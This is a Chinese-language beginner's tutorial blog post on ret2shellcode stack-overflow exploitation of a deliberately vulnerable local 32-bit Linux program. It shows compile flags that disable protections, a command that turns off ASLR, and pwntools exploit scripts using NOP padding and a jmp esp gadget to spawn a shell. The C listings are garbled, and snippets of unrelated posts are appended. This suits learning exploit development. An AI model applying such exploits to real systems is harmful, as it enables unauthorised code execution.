發現freebuf的網名好像不可以修改,後悔當時隨便起的這個名字了!害~
ret2shellcode,也就是return to shellcode,在執行完某個函式之後,跳到shellcode上,達到get shell的目的。
ret2shellcode關鍵在於我們找到乙個可讀可寫可執行的緩衝區,接下來把我們的shellcode放到這個緩衝區,然後跳轉到我們的shellcode處執行 。
先看乙個存在棧溢位的c語言程式
#include
#include
char str1[0x40]
;void func(
)int main(
)
我們可以看到這個程式,str1就是我們找到的那段可讀可寫可執行的緩衝區,那我們可以寫一段shellcode放到str1中,在發生溢位時把返回位址寫成str1的位址,那就會執行shellcode。
進行編譯
gcc -no-pie -fno-stack-protector -z execstack -m32 -o 6.exe 6.c
注釋:-fno-stack-protector:沒有堆疊保護
-z execstack:堆疊可執行
-m32: 32位
編譯完成之後,順便 checksec 6.exe,接下來檢視一下保護機制,
定位溢位點
在func處加個斷點,cyclic 200,生成100個隨機字元,繼續r
繼續執行之後,將上面生成的字串複製進去
找到str1的首位址
多次單步執行 n ,就可以找到str1的首位址為0x804c060
生成shellcode的方法
==方法1:==用pwntool或者peda和msfpc或者msfvenom工具生成,支援上線,最好越短越好
例如用pwntool中的shellcraft.sh(),再轉彙編位元組碼asm(),也就是asm(shellcraft.sh()),本例中的exp就使用了這個
寫exp
from pwn import *
context(arch=
"i386",os=
"linux"
)p=process(
'./6.exe'
)offset = 76
shellcode=asm(shellcraft.sh(
))payload =shellcode.ljust(offset,'\x90'
)+p32(0x804c060)
p.sendline(payload)
p.interactive(
)
可以單獨看一下payload的寫法,因為shellcode的長度不足以達到76,所以剩餘的部分用\x90代替,製造一段nop導軌,直接滑到shellcode上去執行
執行一下,get shell!
先看c語言程式:
#include
#include
#include
#include
#include
void exploit(
)void func(
)int main(
)
先echo 0 >/proc/sys/kernel/randomize_va_space,關閉記憶體位址隨機化機制,為了保證system("/bin/sh")在記憶體中的位址不發生改變
然後按照與 示例一 一樣的方法進行編譯,然後start
定位溢位點的方法也一樣,可以得到溢位點的位置是76
接下來找 jmp esp的位址,在peda下輸入下面的命令:
asmsearch "jmp esp"
找到乙個jmp esp的位址
寫exp
from pwn import *
context(arch=
"i386",os=
"linux"
)p=process(
'./8.exe'
)offset = 76
shellcode=asm(shellcraft.sh(
))
add_jmpesp=p32(0x080b001f) //找到的jmp esp的位址
payload =
'\x90'*offset+add_jmpesp+shellcode
p.sendline(payload)
p.interactive(
)
可以看到我們在構造payload的時候並沒有直接到shellcode上去,而是先去執行jmp esp,而此時棧頂恰好就是shellcode的首位址,也就是說執行完jmp esp,再去執行shellocde,這是一種動態定位的方法。如下圖,成功執行並get shell!
1.本文主要描述了ret2shellcode的相關原理和例項,關鍵的一點還在於我們找到乙個可讀可寫可執行的緩衝區,接下來把我們的shellcode放到這個緩衝區,然後跳轉到我們的shellcode上執行
2.兩種生成shellcode的方法:
(1)用pwntool或者peda和msfpc或者msfvenom工具生成
(2)自己手寫或從網上copy
3.可以用jmp esp構造payload,動態定位shellcode的位址
路雖遠,行則至!今天終於在安全主流**上發表文章,勇敢的邁出了第一步,信安小白投的第一篇文章獻醜了,若有不足之處還請各位大牛多多指出!
Ret2shellcode和NX保護機制
ret2text漏洞利用依賴於程式中存在執行system bin sh 的函式,如果沒有這個函式,怎麼辦呢?沒有執行shell的函式,沒有開啟nx保護 我們需要傳入自定義shellcode,這就利用方式就是ret2shellcode shellcode是黑客編寫的用於實行特定功能的彙編 通常是開啟乙...
ret2text失敗 記錄一次簡單的棧溢位
來自攻防世界的level0樣本,檢查樣本檔案,是64位的小端程式,並且只開啟了nx保護。如上圖所示,該程式有非常明顯的棧溢位並且存在後門函式,所以下面直接上exp,並且解釋下在ubuntu20.04上遇到的漏洞利用問題。from pwn import context os linux arch am...
SQL EXISTS與IN的區別(2)
select from a where id in select id from b 以上查詢使用了in語句,in 只執行一次,它查出b表中的所有id欄位並快取起來.之後,檢查a表的id是否與b表中的id相等,如果相等則將a表的記錄加入結果集中,直到遍歷完a表的所有記錄.它的查詢過程類似於以下過程 ...